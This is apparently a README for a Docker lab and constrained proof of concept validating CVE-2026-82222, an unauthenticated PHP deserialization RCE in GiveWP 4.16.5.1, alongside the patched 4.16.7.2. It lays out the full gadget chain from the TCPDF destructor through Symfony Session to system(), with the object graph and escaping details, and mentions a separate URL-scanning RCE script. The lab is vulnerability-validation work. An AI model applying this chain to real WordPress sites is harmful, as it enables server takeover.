
Authorized Docker lab and clean PoC for validating CVE-2026-82222 RCE in GiveWP 4.16.5.1 and the 4.16.7.2 fix.
Security-research material for reproducing and validating CVE-2026-82222 in an isolated Docker lab.
For Direct RCE Poc and url scan use CVE-2026-8222-RCE.py
Status: proven in the supplied lab
GiveWP 4.16.5.1 permits an initially unauthenticated attacker to persist a PHP object graph, revive it through GiveWP session handling, and execute a fixed marker command as the WordPress web-server user.
Tested positive result:
GiveWP: 4.16.5.1
WordPress: 6.6.2
PHP: 8.1.30
Result: /tmp/CVE-2026-82222-RCE-GETBAG created by www-data
The end-to-end result was also reproduced against pristine, non-instrumented GiveWP 4.16.5.1 source. GiveWP 4.16.7.2 blocked the HTTP carrier in the tested configuration and independently blocked the terminal gadget during a direct control.
This demonstrates command execution inside the WordPress container. It does not demonstrate root access, container escape, lateral movement, or host compromise.
Use this repository only on systems you own or are explicitly authorized to test.
The supplied PoC is intentionally constrained:
touch /tmp/CVE-2026-82222-RCE-GETBAG.--allow-authorized-non-loopback flag.127.0.0.1.The HTTP test creates a disposable donor user, metadata, and GiveWP session rows. Use the included reset command after testing.
Requirements:
curlunzipsha256sum or shasumdownloads.wordpress.org for official plugin archivesRun the complete vulnerable/patched matrix:
./lab verify
The command:
ProviderForwarder terminal also rejects the string callable.The patched lab remains running at the end. Remove it with:
./lab reset
To use another loopback port:
LAB_PORT=8099 ./lab verify
The vulnerable control must end with concrete terminal evidence:
[PASS] E1: unauthenticated registration issued auth cookie
[PASS] E3: serialized graph persisted in own last_name
[PASS] E4: donation-form nonce obtained
[PASS] E5: session write reached expected post-sink HTTP status=500
[PASS] E6: session read/destruction trigger completed
marker present and owned by the WordPress web user
RESULT: VULNERABLE CONTROL CONFIRMED
The patched control must show:
[PASS] P1: patched registration gate blocked auth cookie
DIRECT_MARKER=absent
HTTP marker absent and direct terminal gadget blocked
RESULT: PATCHED CONTROL CONFIRMED
An HTTP 500, stored payload, exception, or detector hit without the marker is not accepted as RCE proof.
Start and test the vulnerable release:
./lab start vulnerable
./lab test
Start and test the patched release:
./lab start patched
./lab test
Inspect current state:
./lab status
Remove containers, volumes, test users, sessions, and marker state:
./lab reset
Cached plugin ZIPs and extracted assets are preserved for faster reruns. Remove those exact generated assets as well with:
./lab reset --purge-assets
| Version | Assessment |
|---|---|
| GiveWP 4.16.5.1 | RCE reproduced end to end |
| GiveWP 4.16.6–4.16.7.1 | Reported affected; not individually reproduced here |
| GiveWP 4.16.7.2 | Patched negative controls reproduced |
| Later releases | Not individually tested; update to the latest supported release |
The public advisory identifies releases through 4.16.7.1 as affected. This repository directly proves only the two versions in its positive/negative test matrix.
References:
The exploit combines several behaviors:
Give\Helpers\Utils::maybeSafeUnserialize() uses
allowed_classes => false, producing __PHP_Incomplete_Class, but a later
serialization preserves the original class names and properties.maybe_unserialize() revives the shipped classes.system().Four literal namespace backslashes are required in the HTTP carrier. The two
effective stripping passes reduce them 4 -> 2 -> 1. The payload is NUL-free,
and PHP 8.1.30 was verified to hydrate the plain serialized name for the private
Session::$attributeName property.
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getAttributeBag()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
-> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')
Attacker-controlled graph:
TCPDF
├── file_id = unique request identifier
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
├── attributeName = fixed marker command
└── storage = Give\TestData\Factories\DonationFactory
└── loadedProviders["getBag"] = "system"
The critical hidden transition is PHP's implicit IteratorAggregate
dispatch. TCPDF::$imagekeys is untyped, so assigning a Symfony Session
causes foreach to invoke Session::getIterator().
The marker command executes before Symfony enforces the
getAttributeBag(): AttributeBagInterface return type. The resulting
TypeError and HTTP 500 are post-sink effects.
The rejected candidate graph used:
TCPDF::$objcopy
-> DonationFactory::$loadedProviders['__destruct'] = 'system'
That graph cannot work. TCPDF::_destroy() only unsets objcopy; PHP does not
route automatic destruction through __call('__destruct', ...).
The missing operation was:
foreach ($this->imagekeys as $file) {
The earlier review followed destructors and explicit method calls but did not
recursively inspect the implicit object protocol triggered by foreach.
Symfony Session supplies the missing bridge: